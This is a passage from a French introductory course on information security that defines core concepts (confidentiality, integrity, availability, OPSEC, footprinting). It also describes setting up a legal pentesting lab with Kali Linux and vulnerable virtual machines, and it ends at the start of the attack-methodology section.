43 1 2MB
sécurité
L'essentiel de la sécurité informatique
Version 0.3 sec-ess
Paternité - Pas d'Utilisation Commerciale - Partage des Conditions Initiales à l'Identique : http://creativecommons.org/licenses/by-nc-sa/2.0/fr/
23/11/2014
Légende
Entrée du glossaire
Abréviation
Référence Bibliographique
Référence générale
Table des matières Objectifs
5
I - Avertissement concernant la licence de ce document
7
II - Note de version
11
III - Définitions, notions et vocabulaire
13
A. Introduction à la sécurité.............................................................................13 1. 2. 3. 4.
Définition générale de la sécurité.......................................................................................13 Limites de la sécurité.......................................................................................................14 Particularités des systèmes d'information...........................................................................15 Les domaines de la SSI....................................................................................................16
B. Les enjeux de la SSI....................................................................................17 1. Points essentiels.............................................................................................................17
C. Démarche générale.....................................................................................20 D. Intelligence gathering..................................................................................21 1. Renseignement...............................................................................................................21 2. Footprinting....................................................................................................................22
IV - Sécurité offensive : savoir attaquer pour mieux se défendre
25
A. Pourquoi appendre la sécurité offensive ?.......................................................25 B. Mise en place d'un laboratoire de pentesting...................................................26 1. Premiers pas avec Kali Linux.............................................................................................26 2. Machines vulnérables.......................................................................................................27
C. Fondamentaux............................................................................................29 1. Le vocabulaire du hacking................................................................................................29 2. Comment attaquer ? Méthodologie du cracking...................................................................30
D. Footprinting................................................................................................31 1. 2. 3. 4. 5.
Internet footprinting........................................................................................................31 Internet Footprinting : mise en pratique.............................................................................33 Scanning........................................................................................................................35 Fingerprinting.................................................................................................................37 Comment contrer le footprinting ?.....................................................................................38
E. Ingénierie sociale : cracker sans ordinateur....................................................40 1. Méthodologie..................................................................................................................40 2. Quelques techniques d'ingénierie sociale............................................................................40 3. Contre-mesures..............................................................................................................41 Noël Macé (noelmace.com)
3
4. Pour aller plus loin...........................................................................................................42
F. Les principales attaques à connaître...............................................................42 1. 2. 3. 4. 5.
Password cracking...........................................................................................................42 Rappels sur les protocoles réseaux et transport...................................................................45 Déni de service...............................................................................................................49 Attaques de l'homme du milieu.........................................................................................54 Injection de données dans un site web...............................................................................56
G. Challenges.................................................................................................58 1. Pour débuter..................................................................................................................58 2. Pour s'amuser.................................................................................................................59 3. Pour confirmer................................................................................................................59
V - Sécurité opérationnelle
61
A. Fondamentaux............................................................................................61 1. 2. 3. 4.
Introduction à la sécurité opérationnelle.............................................................................61 Méthodologie de l'OPSEC..................................................................................................62 Quelques exemples de contextes pour l'OPSEC...................................................................63 Cas pratique de mise en œuvre de l'OPSEC.........................................................................64
B. Confidentialité des données..........................................................................65 1. Chiffrement....................................................................................................................65 2. Persistance des données après suppression........................................................................69
C. Sécurisation des échanges...........................................................................72 1. 2. 3. 4. 5.
IPsec.............................................................................................................................72 VPN...............................................................................................................................75 SSL/TLS.........................................................................................................................77 SSH..............................................................................................................................78 Mix Networking...............................................................................................................82
VI - Sécurité défensive
85
A. Architectures et solutions pour la sécurité des réseaux.....................................85 1. 2. 3. 4. 5.
Réseaux privés et translation d'adresses............................................................................85 Zone démilitarisée...........................................................................................................87 Proxy.............................................................................................................................88 Firewalling......................................................................................................................91 Conception d'une architecture réseaux pour la sécurité........................................................92
B. Supervision : anticiper, détecter et résoudre les incidents.................................93 1. Veille technologique.........................................................................................................93 2. Détection d'intrusions et de vulnérabilités...........................................................................94
Solution des exercices
97
Crédit des ressources
99
4
Noël Macé (noelmace.com)
Objectifs
L'objectif de ce cours est de vous présenter un rapide tour d’horizon de la sécurité des systèmes d'information. Il ne se veut ni exhaustif, ni complet, et n'a pour but que de vous donner un aperçu le plus large possible de la sécurité informatique, sujet vaste et complexe si il en est, et ainsi de vous donner les bases nécessaires à un approfondissement futur, ou au moins à la compréhension des enjeux de ce domaines. Il consiste en une rapide introduction du vocabulaire et des notions fondamentales, puis se compose en trois parties : sécurité offensive : où nous ferrons un tour d’horizon de différentes menaces pouvant être rencontrées, et des méthodologies mises en œuvres sécurité opérationnelle : où nous verrons comment se prémunir contre la fuite d'informations sensibles sécurité défensive : où nous verrons, enfin, la méthodologie et les techniques mises en place pour se prémunir des différents risques Pré-requis : notions fondamentales d'informatique (réseau, systèmes d'exploitation, langages, etc ...) Durée : une semaine (35h environs)
Noël Macé (noelmace.com)
5
Avertissement concernant la licence de ce document I-
I
Attention : A l'attention du lecteur Si vous utilisez ou voyez présenté ce document contre contrepartie financière, ou dans le cadre d'un événement (conférence ou formation) ayant donné lieu à contrepartie financière, ceci a sans doute été fait de manière illégale. Merci donc de le signaler immédiatement à l'auteur, Noël Macé, par mail : contact (at) noelmace.com. Ce document, ainsi que, sauf mention contraire, tous ceux contenus dans celui-ci, sont placés sous licence creative common BY-NC-SA1.
Attention Tout usage de ce document (présentation, publication, reproduction, travail dérivé ...) amenant, directement ou indirectement, à une contrepartie financière, est strictement interdit par cette license . Tout contrevenant (physique ou moral) sans autorisation préalable écrite et explicite de l'auteur, Noël Macé, s'expose à des poursuites judiciaires.
1 - https://creativecommons.org/licenses/by-nc-sa/2.0/fr/ Noël Macé (noelmace.com)
7
II -
Note de version
II
Version 0.2 Après une refonte pour donner une orientation plus "pratique" de ce cours, cette version reste incomplète, et nécessite encore l'ajout des points suivants : malwares
sécurité système
authentification (LDAP, pam, double authentification, stockage des mots de passe, etc ...) Vous trouverez plus d'information concernant le version de mes supports sur mon site personnel : http://www.noelmace.com2 Pour suivre l'avancement de plusieurs de mes supports (et pourquoi pas, participer à leur amélioration), je vous invite à vous rendre sur le dépôt Github dédié : https://github.com/noelmace/Scenari_course_materials3 Enfin, pour me communiquer la moindre remarque, merci de me contacter par mail : contact (at) noelmace.com
2 - http://www.noelmace.com 3 - https://github.com/noelmace/Scenari_course_materials Noël Macé (noelmace.com)
9
Définitions, notions et vocabulaire III -
III
Introduction à la sécurité
13
Les enjeux de la SSI
17
Démarche générale
20
Intelligence gathering
21
A. Introduction à la sécurité 1. Définition générale de la sécurité Définition : Sécurité « Confiance, tranquillité d'esprit qui résulte de l'opinion, bien ou mal fondée, qu'on n'a pas à craindre de danger. » - Wikitionnaire4 La sécurité, au sens général du terme, consiste donc à se "protéger du danger". Il existe bien des domaine d'application de la sécurité : sécurité des personnes, sécurité nationale, internationale ou civile, sécurité juridique, économique, alimentaire, des transports, etc ... Tous ont ce point commun le "sentiment de sécurité", par définition subjectif, toute sécurité ne pouvant jamais être absolue. Sécuriser un système, c'est avant tout définir un "cadre d'utilisation" prévu, c'est à dire définir ce qui pourra (devra) ou ne pourra pas être fais, et mettre en place les solutions pour appliquer cette politique. « La sécurité informatique consiste à garantir que les ressources matérielles ou logicielles d'une organisation sont uniquement utilisées dans le cadre prévu » - JF Pillou
4 - https://fr.wiktionary.org/wiki/s%C3%A9curit%C3%A9 Noël Macé (noelmace.com)
11
Définitions, notions et vocabulaire
2. Limites de la sécurité Sécurité et liberté « Un peuple prêt à sacrifier un peu de liberté pour un peu de sécurité ne mérite ni l'une ni l'autre, et finit par perdre les deux. » - Benjamin Franklin Quelque soit le domaine d'application, la sécurité est toujours à opposer à la liberté, dans leurs définitions première. En effet, la politique de sécurité établi les comportements acceptables ou non pour prémunir du danger, et définie donc des comportements "interdits". Bien entendu, certaines libertés n'ont plus de sens dans le cadre d'une politique de sécurité (la liberté de chacun de s'endormir sur une voie ferrée n'a pas de mesure face au danger encouru). Cependant, un responsable en sécurité doit toujours garder à l'esprit les libertés de l'usager, et éviter tout comportement excessif, alors perçu comme une entrave abusive.
Exemple
: Vie privée
Une politique de sécurité établissant le traçage de toutes les activités de chaque employé au sain d'une entreprise, bien que permettant une garantie supplémentaire de sécurité, serait vite perçue comme excessive, et contournée.
Acceptation et éducation Conséquence direct du point précédent, une politique de sécurité se doit d'être comprise et acceptée. Sans cela, tout usager peu alors sortir des comportements prévus, volontairement ou non, et ainsi compromettre la sécurité du système.
3. Particularités des systèmes d'information Définition : Systèmes d'information « Ensemble organisé de ressources (matériels, logiciels, personnel, données et procédures) qui permet de collecter, regrouper, classifier, traiter et diffuser de l'information dans un environnement donné » - De Courcy R.
Les NTIC Aujourd'hui, quand nous parlons de "systèmes d'information", nous pensons bien entendu avant tout aux Nouvelle Technologies de l'Information et de la Communication, c'est à dire, pour faire simple, l'informatique. Il faut cependant garder à l'esprit, surtout quand nous parlons de sécurité, que l'informatique n'est toujours que l'un des aspects de la communication. En effet, la parole, le courrier, et bien d'autres solutions demeurent des systèmes d'information, par lesquels la confidentialité de vos donné peu être corrompu.
Sécurité des systèmes d'information La SSI consiste donc à protéger les informations manipulées informatiquement (mais pas seulement). Gardez toujours à l'esprit que la "sécurité informatique" ne consiste jamais à protéger notre système, mais ce à quoi ce système donne accès, c'est à dire de l'information et des outils. Protéger le système informatique ne peu être une fin en soit !
12
Noël Macé (noelmace.com)
Définitions, notions et vocabulaire
4. Les domaines de la SSI Sécurité offensive La sécurité offensive, comme son nom l'indique, consiste à "attaquer". Même si de nombreuses personnes apprennent ces méthodes (généralement de manière autodidacte) dans un but peu louable, nous enseignons généralement ces techniques soit dans le cadre de l'ethical hacking, permettant de déterminer les failles d'un système de manière légale grâce aux techniques offensives, soit dans le cadre d'un préalable indispensable à la sécurité défensive ("connaitre ses ennemis pour mieux se défendre").
Sécurité opérationnelle La sécurité opérationnelle (ou OPSEC) consiste à la mise en œuvre de techniques, comportement et méthode permettant la protection des informations privées. Il s'agit bien entendu de connaître certaines méthodes de la sécurité défensive (comme la cryptographie), mais aussi et surtout de modifier les comportements pour garantir la sécurité des personnes et des informations. Un très bon exemple de contexte dans lequel la sécurité opérationnelle est primordiale est le journalisme, particulièrement dans le cadre de la protection des sources.
Sécurité défensive Enfin, la sécurité défensive est la conséquence logique de la sécurité offensive. Là où il y a attaque, il doit nécessairement y avoir défense. La sécurité défensive se doit donc d'évaluer et quantifier les risques éventuels, de déterminer les failles à leur origine, et de déterminer en conséquence une politique de sécurité permettant de s'en prémunir.
Remarque : A propos de la taxinomie de la SSI Il existe encore d'autres terminologies, désignant chacune un autre domaine de la sécurité des systèmes d'information plus ou moins spécifique : COMSEC (communication security), TRANSEC (transmission security, sous ensemble de la COMSEC), etc ... Chacune représente une approche et des méthodologies propres. Il serait cependant illusoire de vouloir systématiquement classer chaque technique dans l'un ou l'autre de ces domaines, la plupart étant transverses. La cryptographie, technologie mais aussi domaine en soit, contribue par exemple à tout les domaines que nous avons évoqué ici.
B. Les enjeux de la SSI Les enjeux de la SSI consiste en 3 points essentiels : intégrité
confidentialité
disponibilité
A ces 3 points essentiels doivent être ajoutés deux points complémentaires, le plus souvent simples outils pour la réalisation des points précédents, mais parfois considérés comme des buts en soit (essentiellement pour des questions juridiques) : non-répudiation et imputation
authentification
Noël Macé (noelmace.com)
13
Définitions, notions et vocabulaire
1. Points essentiels Définition : Intégrité (des données) Garantie qu'une information / donnée est bien celle attendu, et n'a donc pas été modifiée, de manière fortuite ou intentionnelle.
Définition : Confidentialité « Fait de réserver des informations à un petit nombre de personnes déterminées. » - Wikitionnaire5 En d'autres termes : Seul un groupe déterminé de personne doit avoir accès à une donnée. La politique de confidentialité consistera donc à établir qui doit accéder à quoi.
Complément
: OPSEC
La OPSEC (sécurité opérationnelle) est un cas particulier de la confidentialité, en ce qu'elle définie la politique à établir pour garantir le secret et la non-traçabilité des échanges d'informations d'une personne ou d'un groupe, comme, par exemple, dans le cadre de la protection des sources journalistiques ou celui de la vie privée.
Définition : Disponibilité Garantie du bon fonctionnement et du temps de réponse d'un système / service. La disponibilité est définie dans une plage de temps, pour des utilisateurs donnés, et dans des conditions d'utilisations données. On parle souvent de "taux de disponibilité", pourcentage du temps ou le service est en moyenne disponible.
a) Points complémentaires Définition : non-répudiation Garantie qu'un utilisateur ne puisse contester les opérations qu'il a réalisées dans le cadre de ses actions autorisées.
Définition : Imputation Complémentaire à la non-répudation, l'imputation est la garantie qu'un aucun tiers ne puisse s'attribuer les actions d'un autre utilisateur.
Définition : Authentification « Vérification de l'identité d'une entité (personne, ordinateur...), afin d'autoriser l'accès de cette entité à des ressources (systèmes, réseaux, applications...) » Wikitionnaire6 L'authentification est donc bien entendu un confidentialité, l'imputation et la non-répudiation.
préalable
indispensable
à
la
5 - https://fr.wiktionary.org/wiki/confidentialit%C3%A9 6 - https://fr.wiktionary.org/wiki/authentification
14
Noël Macé (noelmace.com)
Définitions, notions et vocabulaire
C. Démarche générale Mettre 1. 2. 3.
en place une politique de sécurité se réalise en 3 étapes : évaluation des risques recherche et choix de parades mise en œuvre des protections
Évaluer les risques Comme la sécurité n'est jamais une fin en soit, il est primordial de déterminer pourquoi elle doit être mise en place. Cela passe bien entendu par l'évaluation des risques, dont la politique de sécurité doit nous prémunir. Ces risques peuvent être de plusieurs sortes : atteinte à la vie privée et à la sécurité des personnes ou des outils divulgation de sources informations de localisation, accès, etc ... informations médicales, fiscales, etc ... pertes financières par dommages directs, nécessitant la reconstitution / réparation des données et outils compromis ou par dommages indirects : dédommagement, indisponibilité d'un outil clé (comme un service de gestion de commande), etc ... atteinte à l'image de marque directe, par la divulgation d'une faille de sécurité, supposant d'un manque de travail ou de fiabilité ou indirecte (perte de confiance, désinformation, defacing, etc ...)
Recherche et choix de parades La recherche et le choix de parades consiste à déterminer, en fonction des risques évalués, les parades adéquates. Cela passe bien entendu par une évaluation de leur coût en temps, finances et moyens. Se prémunir d'un risque par une solution dont la mise en place devrait avoir un coût supérieur que le risque lui même est inutile !
Mise en œuvre des protections Suivant directement la phase d'analyse, la mise en œuvre se doit d'être perpétuellement testée. Elle peu également nécessiter de reprendre une analyse partielle sur quelques points particuliers, sans devoir cependant remettre totalement en cause les conclusions de l'analyse préalables. C'est ce qu'on appel un cycle semi-itératif, qui ne sera cependant pas adaptés aux très grandes structures.
D. Intelligence gathering L'intelligence gathering est la procédure permettant de collecter des informations, sur une cible pour un attaquant (on parle alors de footprinting), ou sur un contexte, des attaquants potentiels, des concurrents (on parle alors de renseignement). Les technique de l'intelligence gathering peuvent servir aussi bien pour l'attaque, afin de récolter un maximum d'informations sur une cible potentielle et ainsi d'en déterminer les failles, que la défense, afin d'anticiper au mieux les attaques et les failles potentielles de notre système.
Noël Macé (noelmace.com)
15
Définitions, notions et vocabulaire
1. Renseignement Définition : Renseignement « Information délivrée pour guider des prises de décisions et des actions. » Wikipedia7 Peu désigner, par extension, un service de renseignement, service permettant de collecter ces informations.
Renseignement civil et militaire Le renseignement militaire est sans doute le premier système de renseignement venant à votre esprit. Et pour cause : du fait des enjeux, de sa dimension et des moyens mis en œuvre, le renseignement militaire est bien le système de renseignement par excellence. De nombreux outils sont mis en place, autour d'une méthodologie rigoureuse, le plus connu puisque le plus "romanesque" étant bien entendu l'espionnage. Aujourd'hui, les méthodes du renseignement militaire s'étendent à de nombreux autres domaines. Ses méthodologies et outils sont aujourd'hui aussi bien repris dans le privé que dans d'autres domaines publiques. On parle alors de renseignement civil, qui couvre aussi bien le renseignement économique, financier, commercial, industriel voir scientifique.
Affaire Snowden : mise en évidence de nouveaux enjeux Avec les révélation de Edward Snowden du 6 juin 2013, ont été mis en évidence plusieurs points : la généralisation des méthodes du renseignement militaire à un renseignement civil de grande ampleur l'importance croissante de l'information dans notre société l'importance des moyens mis en œuvre pour collecter ces information, sans nulle autre pareil dans l'histoire En effet, même si ces informations étaient dors et déjà connues du milieu de la sécurité informatique, les informations alors délivrées permirent non seulement d'en démontrer la teneur et la réalité au grand public, mais également de la quantifier plus exactement, au delà de tout ce qui avait alors été envisagé. Sans toutefois rentrer dans les détails et rebondissements récents de cette affaire, nous pouvons dés le départ constater : un notable regain d’intérêt pour la sécurité opérationnelle , aussi bien de la part du grand public que des pouvoirs publiques et économiques. Des techniques qui semblaient encore hier excessives pour beaucoup, sont aujourd'hui perçues comme nécessaires et généralisables. ainsi qu'un égal regain d’intérêt (et hausse de moyens) pour le renseignement en général, et particulièrement le contre-espionnage.
2. Footprinting Définition : Footprinting « Technique consistant à récolter de l'information sur des systèmes informatiques et toutes les entités auxquelles ils sont rattachés. » - Wikipedia8
7 - https://fr.wikipedia.org/wiki/Renseignement 8 - https://fr.wikipedia.org/wiki/Footprinting
16
Noël Macé (noelmace.com)
Définitions, notions et vocabulaire
Le footpriting est la partie "offensive" de l'intelligence gathering. Elle consiste en une mise en œuvre des techniques pratiques du renseignement dans le cadre de la prévision d'une attaque ciblée sur un objectif particulier, afin de déterminer au mieux les failles éventuelles de l'objectif, et les méthodes à mettre en œuvre. Ces techniques sont bien entendu aussi diverses que les informations à récolter.
Non intrusivité Au contraire de nombreuses techniques de renseignement, le footprinting se caractérise par un aspect non intrusif. Il est en effet primordial pour l'attaquant, lors de cette étape souvent longue et fastidieuse, de ne laisser transparaître aucune information à la cible sur sa volonté d'attaque. Étant donné qu'il s'agit d'une première étape dans la sécurité offensive, l'attaquant ne peu alors que supposer des techniques mises en œuvre par la cible pour détecter les éventuelles intrusions et attaques. Se lancer dans des techniques intrusives (injection SQL, cracking de mot de passe, etc ...) serait alors très dangereux. Celles-ci seront donc réservées à une seconde étape, après le footprinting.
Techniques de footprinting Le footprinting s’intéresse donc à une très grande accessibles via différentes méthodes : Internet footprinting
variété d'informations,
scanning
fingerprinting
espionnage
social engeneering (qui n'est par ailleurs pas restreint au seul footprinting)
énumération
Noël Macé (noelmace.com)
17
Sécurité offensive IV -
IV
Pourquoi appendre la sécurité offensive ?
25
Mise en place d'un laboratoire de pentesting
26
Fondamentaux
29
Footprinting
31
Ingénierie sociale : cracker sans ordinateur
40
Les principales attaques à connaître
42
Challenges
58
Nous n'allons pas chercher à couvrir ici toutes les connaissances nécessaires à une maîtrise de la sécurité offensive. Le but ici sera donc plutôt de vous donner un tour d’horizon rapide de différentes méthodes mises en œuvre par un attaquant pour réaliser son attaque. Pour illustrer ce chapitre, quelques utilitaires et scripts simples vous seront présentés, afin de vous donner un aperçu plus concert des attaques possibles. Garder cependant bien à l'esprit que cela n'est l'apanage que des scripts kiddies, et ne saurait vous donner une vision complète de la sécurité offensive.
A. Pourquoi appendre la sécurité offensive ? A prime abord, si on vous parle de sécurité, il est fort probable que la première chose qui vous vienne à l'esprit soit un anti-virus ou un firewall. En toute logique, quand on parle de sécurité, la plupart d'entre nous penserons avant tout en terme de défense, et non d'attaque. Pourtant, comment se défendre correctement, quand on ne connaît rien des dangers que nous serons susceptibles d'affronter ? Comment se prémunir d'une attaque sans rien en connaître ? Apprendre la sécurité offensive est bien une question de "défense", et non l’apanage de certains hackers simplement à la recherche de nouveaux horizons. « Connais ton ennemi et connais-toi toi-même ; eussiez-vous cent guerres à soutenir, cent fois vous serez victorieux. » - Sun Tzu, l'art de la guerre, article 39
Attention : Légalité de la sécurité offensive Est-il nécessaire de rappeler que la quasi totalité des techniques de sécurité 9 - http://fr.wikisource.org/wiki/L %E2%80%99Art_de_la_guerre#Article_III_Des_propositions_de_la_victoire_et_de_la_d.C3.A9faite Noël Macé (noelmace.com)
19
Sécurité offensive : savoir attaquer pour mieux se défendre
offensive son illégales si pratiquées sur le matériel d'une autre personne sans en avoir obtenu son autorisation au préalable ? ! Le but ne sera donc pas ici de vous pousser à toute activité illégale, mais de vous familiariser avec les méthodes et certaines techniques de l'attaque, afin de mieux vous en prévenir, ou de vous servir d'introduction à "l'ethical hacking".
B. Mise en place d'un laboratoire de pentesting Objectifs Dans cette partie, nous allons nous atteler à mettre en place notre laboratoire de pen-testing, afin de mettre en pratique les différents points abordés dans la suite de ce cours en toute sécurité (et bien entendu en toute légalité).
Pour effectuer vos exercices, vous aurez donc besoin de deux éléments : une machine pour effectuer vos reconnaissances et attaques
et une (ou plusieurs) machines cibles, à étudier, pénétrer et exploiter.
1. Premiers pas avec Kali Linux a) Introduction Regroupant un très grand nombre d'outils nécessaires aux tests de sécurité informatique, Kali Linux va ici nous permettre de disposer de ces outils simplement, à partir d'un point unique, tout en isolant nos opérations du système vous permettant votre travail de tout les jours. Disponible sous forme de live-cd, cette distribution GNU/Linux est basée sur Debian. Peu de connaissances en administration système Unix sont requises, puisque nous allons à chaque étape détailler les opérations à réaliser.
Remarque : Backtrack, vous connaissez ? Pour ceux n'ayant jamais entendu parler de Kali Linux, je vous rassure, il n'y rien d'étonnant à cela. En effet, peut-être avez vous plutôt entendu parler de Backtrack, la référence des distrubtions GNU/Linux en matière de pentesting. Eh bien rassurer vous : Kali Linux et Backtrack ne forment qu'un ! En effet, la version 6 de Bactrack ayant apporter quelques changements majeurs (notamment le passage à une base Debian plutôt qu'Ubuntu et le support des architectures ARM), celle-ci a tout simplement changé de nom (et par la même occasion, de numéro de version), devenant Kali Linux 1.0.
b) Récupérer le Live-cd Télécharger Pour télécharger Kali Linux, rendez vous sur le site officiel10, et récupérez l'image 10 - https://www.kali.org/downloads/
20
Noël Macé (noelmace.com)
Sécurité offensive : savoir attaquer pour mieux se défendre
iso adaptée à votre architecture (x86 ou x64).
Vérifier l'intégrité du téléchargement Nous sommes dans un cours de sécurité, donc autant prendre directement les bonnes habitudes. Vérifiez donc dés la fin du téléchargement l'intégrité du fichier iso, en suivant les instructions du site. Si vous n'êtes pas sur un système GNU/Linux, vous pouvez tout de même utiliser GnuPG, comme nous le verrons plus loin. Pour cela, téléchargez pour Windows Gpg4win11 ou, pour Mac OS X, Mac GPG12.
c) Utiliser le Live-cd Plusieurs solutions Pour utiliser ce Live-cd, plusieurs solutions s'offrent à vous : graver le fichier ISO sur un DVD, et démarrer à partir de celui-ci
l'installer sur une clé USB (vous trouverez les instructions13 sur la documentation officielle) utiliser une machine virtuelle
Avec VirtualBox Pour aller au plus rapide, vous pouvez utiliser VirtualBox (téléchargeable ici) pour créer une machine virtuelle Kali Linux. Créez une nouvelle machine virtuelle 14, en spécifiant le fichier ISO précédemment téléchargé. Démarrez le machine : voila, votre VM est prête. Mais pour véritablement profiter des avantages de la virtualisation, je vous recommande vivement d'installer également les "extensions invité" et de mettre en place un dossier partagé avec le système hôte. Pour ce faire, vous retrouvez les instructions détaillées15 sur la doc.
2. Machines vulnérables Pour pouvoir pratiquer le pentesting en toute légalité, une seule solution : construire son propre parc de machines vulnérables à attaquer. Bien entendu, toute la difficulté ici provient du fait que nous ne devons, à priori, disposer que d'un minimum d'information sur ces machines, ce qui serait bien difficile à accomplir en les installant et configurant nous même. Bien entendu, vous pouvez du coup faire appel à vos connaissances pour qu'elles réalisent cela, mais tout le monde ne dispose pas sous la main d'un administrateur système et réseaux avec de bonnes compétences en sécurité et prêt à offrir de son temps pour créer de nouveau jouets dont il n'aura au final aucun usage. Heureusement, Internet regorge de ce genre de personnes, et vous pourrez donc y trouver diverses machines prêtes à l'emploi, parfois même livrées directement avec tutoriaux et challenges. En voici une petite sélection.
Attention Ne laissez jamais une de ces machines exposée sur un réseau n'ayant pas toute votre confiance. Étant donné que le principe de base de celles-ci est d'être (grandement) vulnérables, elles constitueraient un point d'entrée facile. 11 - http://gpg4win.org/ 12 - http://gpgtools.org/ 13 - http://fr.docs.kali.org/installation-fr/kali-linux-sur-usb 14 - https://docs.oracle.com/cd/E26217_01/E35193/html/qs-create-vm.html 15 - http://docs.kali.org/general-use/kali-linux-virtual-box-guest Noël Macé (noelmace.com)
21
Sécurité offensive : savoir attaquer pour mieux se défendre
Metasploitable A l'origine destinée à être utilisée dans le cadre d'un apprentissage de l'outil Metasploit, cette machine virtuelle permet de mettre en pratique un très grand nombre de techniques de pentesting, étant donné les très larges possibilités du logiciel en question. Pour le télécharger, rendez-vous sur la page sourceforge16 du projet.
OWASP Broken Web Applications Project L'Open Web Application Security Project, association à but non lucratif mondiale ayant pour but l'amélioration de la sécurité des applications web, nous délivre ici une machine avec plusieurs applications web vulnérables, afin d'aider les apprenants et testeurs. Pour en savoir plus et télécharger la dernière version de la machine, rendez-vous sur le site du projet17.
LAMPSecurity Training Dans un tout autre genre, ce projet offre non pas une machine virtuelle, mais plusieurs, chacune associée à une documentation complète (et la plupart de temps pas-à-pas) afin de détailler les différentes méthodes d'attaque possible. Une ressource parfaite pour un approfondissement de vos connaissances suites à ce cours donc. Pour télécharger la machine de votre choix, rendez vous, encore une fois, sur la page sourceforge du projet18.
Complément
: Créer un laboratoire virtuel complet
Une machine c'est bien, mais tout un parc, c'est mieux. Vous aurez sans doute rapidement besoin, pour vos tests, d'aller plus loin que les exemples précédents, et donc de vous constituer un réseau complet, avec routeurs, switchs, serveurs, machines clientes, etc ... Pour ce faire, la meilleure solution peu être bien entendu d'acheter tout le matériel nécessaire et de rassembler tout ça dans votre placard à grand coups de câbles, mais cela risque d'être quelqu peu couteux, et encombrant (pas très pratique si vous voulez vous entraîner en déplacement). Le mieux serait donc d'utiliser un logicil d'émulation et virtualisation de réseaux. Dans ce domaine, je vous recommande l'excellent GNS319 (Graphical Network Simulator). Pour faire vos premiers pas, je vous encourage à commencer par le "quick start", puis à approfondir avec le reste de la documentation. Enfin, pour ceux d'entre vous allergiques à l'anglais ou souhaitant quelques exemples de réseaux à mettre en place, vous pouvez consulter aides mémoires et exemples20 de Stéphane Maas.
16 - http://sourceforge.net/projects/metasploitable 17 - https://www.owasp.org/index.php/OWASP_Broken_Web_Applications_Project 18 - http://sourceforge.net/projects/lampsecurity 19 - http://www.gns3.com/ 20 - http://www.smnet.fr/gns3/gns3-install-intro.html
22
Noël Macé (noelmace.com)
Sécurité offensive : savoir attaquer pour mieux se défendre
C. Fondamentaux 1. Le vocabulaire du hacking a) Défaire les idées préconçues Qu'est ce qu'un "hacker" ? Tout d'abord, pour bien comprendre les enjeux du hacking, il est bien entendu nécessaire de bien savoir de quoi on parle. Souvent présenté comme synonyme de "pirate informatique", donc, par extension, d'une personne malveillante désireuse d'exploiter les failles d'un système pour son intérêt personnel, le terme "hacker" a été largement détourné de sa véritable définition. En effet, ce terme vient à l'origine de l'anglais "to hack", que l'on pourrait traduire par bidouiller, modifier, bricoler. "Hacker" consiste donc à détourner un objet de son sens premier, afin de mieux l'étudier, voir d'arriver à un résultat meilleur, nouveau ou surprenant. Le "hacking" n'est donc pas seulement informatique, mais s'applique également à la cuisine (comme peu en attester Thierry Marx, ou encore l'excellent "Cooking for Geeks - Real Science, Great Hacks, and Good Food" de Jeff Potter), le bricolage et la conception d'objets matériels (dont on retrouve l'esprit dans les Fab Lab et le mouvement DIY), ou encore l'art (comme par exemple la musique, avec Slagsmålsklubben, Kraftwerk ou Nine Inch Nails). Les Hack Labs (ou Hackers Spaces), lieux où se retrouvent différents hackers de tous ces domaines, sont aujourd'hui nombreux, y compris en France. Vous pouvez d'ailleurs en retrouver une carte ici21. Nous utiliserons donc dans ce cours, plutôt que le terme "hacker", le terme "cracker" pour désigner une personne désireuse de "casser" ou contourner une sécurité informatique sans autorisation, conformément à la RFC 198322.
Bon ou mauvais hacker ? On parle souvent de white hat, grey hat ou black hat. Tandis que le premier est un cracker "éthique" (on parle parfois de "Ethical Hacking"), le "black hat" est un cracker mal-intentionné, agissant dans son unique intérêt, souvent dans un but financier.
Cadre légal Il est bien entendu possible de réaliser du "hacking" dans un cadre légal, même si cela est de plus en plus difficile. Nombreux sont les experts recrutés par une société pour réaliser des "tests d'intrusion" sur leur propre système, afin d'auditer le système mise en place et de mettre en évidence les failles subsistantes. Une autre possibilité est bien entendu de réaliser ces opérations sur son propre système. En dehors de cela, le cadre légal est aujourd'hui très strict, toute pénétration non autorisée dans un système étant illégal dans la plupart des pays, même si celle ci n'aura engendré aucun dégât ou vole d'information.
b) Les différents types d'attaquant White hat Le white hat est celui agissant donc dans un cadre "éthique", légal ou non. Il ne créera jamais aucun dégât, direct ou indirect, sur le système, et ne divulguera jamais de données sensibles.
21 - http://hackerspaces.org/wiki/List_of_Hacker_Spaces 22 - https://tools.ietf.org/html/rfc1983 Noël Macé (noelmace.com)
23
Sécurité offensive : savoir attaquer pour mieux se défendre
Black hat Le back hat est l'attaquant mal-intentionné. On le distinguera du white hat par le fait qu'il ne soucie jamais des pertes et dégâts engendrés par son travail. Il est donc susceptible de réaliser de l'usurpation d’identité, du traffic d'informations confidentielles, du vol de données bancaires, ou des dégâts intentionnels pour discrédité une société, souvent contre rémunération.
Grey hat Le grey hat se situe à mi chemin entre le black et le white hat. Agissant dans un cadre qu'il considère lui même comme éthique, il est cependant susceptible de réaliser des dégâts substantiels. C'est souvent le cas des "hacktivistes". On peu également parfois parler de grey hat pour qualifier une personne agissant tanto en white hat, tanto en black hat.
Hacktivistes Hacktiviste est un mot valise, composé de "hack" et "activisme", désignant un cracker agissant dans un objectif politique ou idéologique.
Script kiddie / lamer Un script kiddie est un cracker peu expérimenté, utilisant le plus souvent des outils développé par les autres. Ils représentent cependant une menace réelle pour la sécurité de votre système.
2. Comment attaquer ? Méthodologie du cracking. Des étapes clés Lors d'une attaque, une suite d'étapes clés est à remplir pour avoir une chance d'obtenir le résultat escompté (pénétration, vol de données, etc ...). Bien entendu, le cracking n'est pas vraiment une "discipline" en soit (hormis peut être pour le ethical hacking), et il n'y existe pas de règle établie, que tout attaquant respectera. Les phases de ces attaques sont cependant toujours les mêmes, ou presques ... même si ceux qui ne les respectent pas peuvent avoir "de la chance" et obtenir un résultat, à votre dépend.
a) Qu'est ce qui est attaqué ? Informations disponibles Le premier point consiste bien entendu à déterminer qui ou quoi attaquer, et par quel moyen. Pour cela, le cracker aura besoin de "connaître" son objectif, afin de déterminer des éventuelles vulnérabilité. Pour cela, il réalise une première étape de collecte d'informations (ou intelligence gathering) ... ce qui représente en fait souvent l'essentiel du travail à réaliser.
